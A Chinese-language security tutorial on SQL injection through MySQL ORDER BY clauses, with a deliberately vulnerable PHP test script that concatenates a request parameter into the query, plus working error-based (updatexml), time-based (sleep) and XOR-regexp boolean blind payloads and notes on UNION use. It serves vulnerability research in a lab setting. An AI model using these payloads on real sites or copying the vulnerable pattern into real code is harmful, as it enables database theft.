玩得一手好註入之order by排序篇
看了之前Gr36_前輩在先知上的議題,其中有提到排序註入,這個在最近經常遇到這樣的問題,所以先總結下order by 排序註入的知識。
0×00 背景
看了之前Gr36_前輩在先知上的議題,其中有提到排序註入,這個在最近經常遇到這樣的問題,所以先總結下order by 排序註入的知識。
0×01 環境信息
測試環境:操作系統ubuntu0.14.04.1 MYSQL:5.5.55-0
測試代碼:
<?php
$mysql_server=”10.10.10.136″;
$mysql_username=”root”;
$mysql_userpass=”xxxxx”;
$mysql_select_db=”test”;
$config=mysql_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());
$db=mysql_select_db($mysql_select_db)or die (mysql_error());
if( isset( $_REQUEST[ ‘evil‘ ]) ) {
$evil = $_REQUEST[ ‘evil‘ ];
$query = “select * from test order by user_id $evil;”;
//$query = “(select * from test order by user_id $evil);”;
$result = mysql_query( $query,$config) or die( $query.’<pre>’ . mysql_error() . ‘</pre>’);
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$user_id = mysql_result( $result, $i, “user_id” );
$user = mysql_result( $result, $i, “user” );
$password = mysql_result( $result, $i, “password” );
$html .= “<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>”;
$i++;
}
mysql_close();
echo $query;
echo $html;
}
?>
0×02 註入方法介紹
正常頁面:
1.order by 與 報錯註入:
當頁面會展示出MYSQL的錯誤信息時,可以使用報錯註入。
?evil=and(updatexml(1,concat(0x7e,(select user())),0))
2.order by 與 盲註:
當頁面並沒有展示MYSQL的錯誤信息時,且只能根據頁面的回顯數據的狀態進行判斷時,可使用布爾盲註。
《當然雨師傅也提到了可以使用時間盲註 select * from test order by user_id,(select 1 from (select sleep(3))a)》
這裏使用位運算符的^(位異或),當然MySQL還有|(位或),&(位與),~(位取反),>>(位右移),<<(位左移)操作符號,位符號感覺有很多妙用目前還沒想好:-)。
^(位異或會將前後的數字轉換成2進制然後進行異或。
因為正則進行匹配時,匹配到數據返回1(00000001)的時候,此時返回的1會和user_id中的數據的二進制進行異或,然後按照異或的結果升序排列,所以顯示的排列會發生變化。
當正則進行匹配時,未匹配到數據返回0(00000000)的時候,任意數字和0異或的結果還是本身,所以user_id中的數據和0進行異或後排序是不變的。
因此,當頁面排序紊亂時候則說明正則匹配到正確數據,頁面排序未發生紊亂時則說明正則沒有匹配到數據。
通過排列順序的變化來判斷返回的結果是否正確,這裏的MYSQL版本是:5.5.55-0, 所以使用如下語句可以匹配到數據,因此排序發生變化了,這裏’^5′也可以轉換成^5的16進制,這樣語句中就沒了引號。
?evil=^(select (select version()) regexp ‘^5′), 正則返回結果為1,然後與user_id後面的值進行異或,得到如下結果。
排序前 | 排序後 | |||||||
---|---|---|---|---|---|---|---|---|
user_id | user_id的二進制 | 正則(1)二進制 | user_id^1 | user_id | user_id的二進制 | 正則(1)二進制 | user_id^1 | |
1 | 00000001 | 00000001 | 00000000 | 1 | 00000001 | 00000001 | 00000000 | |
2 | 00000010 | 00000001 | 00000011 | 3 | 00000011 | 00000001 | 00000010 | |
3 | 00000011 | 00000001 | 00000010 | 2 | 00000010 | 00000001 | 00000011 | |
4 | 00000100 | 00000001 | 00000101 | 5 | 00000101 | 00000001 | 00000100 | |
5 | 00000101 | 00000001 | 00000100 | 4 | 00000100 | 00000001 | 00000101 | |
6 | 00000110 | 00000001 | 00000111 | 7 | 00000111 | 00000001 | 00000110 | |
7 | 00000111 | 00000001 | 00000110 | 6 | 00000110 | 00000001 | 00000111 |
因為order by 默認是升序排列的,所以頁面顯示的是如下的效果:
?evil=^(select (select version()) regexp ‘^aaaaaa’) 未能匹配到數據,因此返回0。
當正則未匹配到數據時候返回的結果是0, 0和任意數字異或的結果都是數字本身,所以排序是不變的。
user_id | user_id的二進制 | 正則(0)二進制 | user_id^0 |
---|---|---|---|
1 | 00000001 | 00000000 | 00000001 |
2 | 00000010 | 00000000 | 00000010 |
3 | 00000011 | 00000000 | 00000011 |
4 | 00000100 | 00000000 | 00000100 |
5 | 00000101 | 00000000 | 00000101 |
6 | 00000110 | 00000000 | 00000110 |
7 | 00000111 | 00000000 | 00000111 |
3.order by 與union 查詢:
當$query = “select * from test order by user_id $evil;”;沒有使用括號包裹的時候,是無法直接使用union查詢的。
當 $query = “(select * from test order by user_id $evil);”;使用括號進行包裹的時候,此時是可以進行union查詢的。
這個在MySQL的官方文檔上也有進行說明<來自 MySQL 5.5參考手冊>,文檔中說道並把ORDER BY或LIMIT放到最後一個的後面,
經過測試MYSQL:5.5.55-0放在前面也是可以執行的。當然這種情況不大常見。
0×03 小小的總結
由於采用預編譯執行SQL語句時傳入的參數不能作為SQL語句,所以像order by xxx desc這裏的排序規則還是只能用拼接,
因此order by後的註入或許能夠成為後續漏洞挖掘重點關註的SQL註入點。
玩得一手好註入之order by排序篇